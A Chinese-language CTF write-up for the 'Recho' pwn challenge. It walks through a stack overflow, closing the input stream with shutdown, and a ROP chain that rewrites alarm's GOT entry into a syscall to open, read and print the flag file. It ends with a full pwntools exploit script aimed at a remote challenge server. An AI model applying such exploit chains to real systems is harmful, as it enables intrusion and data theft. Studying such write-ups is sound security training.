攻防世界pwn題:Recho
- 2022 年 7 月 2 日
- 筆記
0x00:查看文件資訊

一個64位二進位文件,canary和PIE保護機制沒開。
0x01:用IDA進行靜態分析
分析:主程式部分是一個while循環,判斷條件是read返回值大於0則循環。函數atoi()是將一個字元串轉換成整型數據,看栗子:
這樣子v7可以由我們所決定,所以很明顯第15行存在棧溢出。
個人想法:
看到程式有一堆輸入輸出函數,我首先想到的是ret2libc3。在嘗試的過程中發現無論如何都跳不出while循環,使用io=send(”)不可以。思考無果,上網找WP。在海師傅的文章中,了解到可以用shutdown函數進行操作。而且海師傅是以另外的思路進行泄露的,下面我就借鑒海師傅的思路進行描述。
0x02:深入分析
首先說一下結束循環的方法:
使用io.shutdown(‘write’)進行關閉(為啥是write呢?)
測試一下:
read不可以,send可以???,recv不可以。在測試sendline時,報錯看到了重要資訊:KeyError: “direction must be in [‘in’, ‘out’, ‘read’, ‘recv’, ‘send’, ‘write’]”。所以說明只能用這六個參數。然後繼續測試,in不可以,out可以)。
這樣子的話,這樣總結為不要以程式為對象。而是看參數的函數操縱數據的流向。write、send、out可以,說明由內向外是可以的,反則反方向不可以。(很抱歉,由於資料缺乏。難以從本質上了解。目前先這麼考慮著)
另外,因為關閉後就不能打開了,除非重新運行程式,所以我們就不能再次ROP到主函數獲取輸入了。這樣很明顯就不能用ret2libc3泄露了,雖然你可以第一次泄露出遠程libc的版本。但由於機器一般都開有aslr保護機制,這樣子libc載入的位置就會在重新執行後發生了改變了。
所以,我們必須要一次性完成所有操作,也就是get_shell或者cat_flag。
可以構造這樣的程式碼來get flag:
1、int fd = open(“flag”,READONLY) (註:READONLY=0)
2、read(fd,buf,100)
3、printf(buf)
1、int fd = open(“flag”,READONLY)

程式中已經導入了write、printf、alarm、read函數,還缺個open函數。open和這些已導入的函數都是通過系統調用進行調用的,所以libc中應該有系統調用的相關指令,然後改變rax暫存器,使系統調用號變為open的就可以了。
先了解一下32位和64位下的彙編指令的系統調用:
- 32位:
- 傳參方式:首先將系統調用號傳入eax,然後將參數從左到右依次存入ebx、ecx、edx暫存器中,返回值存在eax暫存器中。
- 調用號:sys_read為3,sys_write為4
- 調用方式:使用int 80h中斷進行系統調用
- 64位:
- 傳參方式:首先將系統調用號傳入rax,然後將參數從左到右依次存入rdi、rsi、rdx暫存器中,返回值存在rax暫存器中。
- 調用號:sys_read為0,sys_write為1,sys_open為2
- 調用方式:使用syscall指令進行系統調用
隨便打開個libc,查看alarm函數:
系統調用指令syscall在alarm起始位置偏移5的位置。可以對alarm.got的值加5,這需要對libc的函數地址運行一次後載入到got表上後進行操作。這裡有個gadget可以達到該目的:
分別對這兩行右鍵,進行undefine。然後對第一行右鍵,進行code。就可以得到如下gadget:
指令 add [rdi],al ,我們可以先讓rdi = got[‘alarm’],然後使al = 5,這樣執行完該指令後,alarm對應的got表的值就指向了syscall指令。
其它相關的指令:
想要看機器碼的,可以在options->general進行設置:
在改了alarm.got為syscall後,在跳轉到syscall開始系統調用之前,還需要做好與open函數相關的準備。有rax=2、rdi=&”flag”、rsi = 0。
pop rax前面已經找出來了,至於字元串“flag”的話,在程式中是有的。但在ida中用shift+f12是看不到的,可能是因為“flag”在數據段,但是shift+f12沒有查找數據段的。我們可以在linux終端用strings ./Recho命令查看,或者用ida的菜單欄中的查找文本功能。
字元串“flag”:
pop rsi指令在__libc_csu_init處有,不過沒那麼“純“,倒也不影響:
這一段的payload: payload = b'A'*0x38 payload += p64(pop_rdi) + p64(alarm_got) payload += p64(pop_rax) + p64(0x05) payload += p64(rdi_add) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(pop_rdi) + p64(flag) payload += p64(pop_rax) + p64(2) payload += p64(alarm_plt)
2、read(fd,buf,100)
文件描述符0、1、2程式已經默認分配了,前面用open函數打開文件的文件描述符應該是3(不行的話可以試試4、5、6……)。buf的話,海師傅用的是.bss節上的stdin_buffer:(.bss上有的可以,有的不行)
這樣子,這一部分的payload為: payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0) payload += p64(pop_rdi) + p64(3) payload += p64(pop_rdx) + p64(100) payload += p64(read_plt)
3、printf(buf)
用printf函數把第二部分存入stdin_buffer的flag列印出來。
其payload為:
payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
整體EXP:
from pwn import * import time context(os='linux', arch='amd64', log_level='debug') #io = process("./Recho") io = remote("111.200.241.244",59230) elf = ELF("./Recho") pop_rax = 0x4006FC pop_rdx = 0x4006FE pop_rsi_r15 = 0x4008A1 pop_rdi = 0x4008A3 rdi_add = 0x40070D flag = 0x601058 stdin_buffer = 0x601070 alarm_got = elf.got['alarm'] alarm_plt = elf.plt['alarm'] read_plt = elf.plt['read'] printf_plt = elf.plt['printf'] io.recvuntil("Welcome to Recho server!\n") io.sendline("400") payload = b'A'*0x38 payload += p64(pop_rdi) + p64(alarm_got) payload += p64(pop_rax) + p64(0x05) payload += p64(rdi_add) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(pop_rdi) + p64(flag) payload += p64(pop_rax) + p64(2) payload += p64(alarm_plt) payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0) payload += p64(pop_rdi) + p64(3) payload += p64(pop_rdx) + p64(100) payload += p64(read_plt)
payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
payload = payload.ljust(400,b'\x00') io.sendline(payload) io.shutdown('write') sleep(1) io.interactive()
0x03:個人感觸
累~
這題要在程式裡面不斷翻找合適的gadget去一步步構造自己想要的執行流,還是得多看看彙編,深入理解程式執行過程中彙編指令的協助。二進位的道路,任重而道遠~
tolele
2022-07-02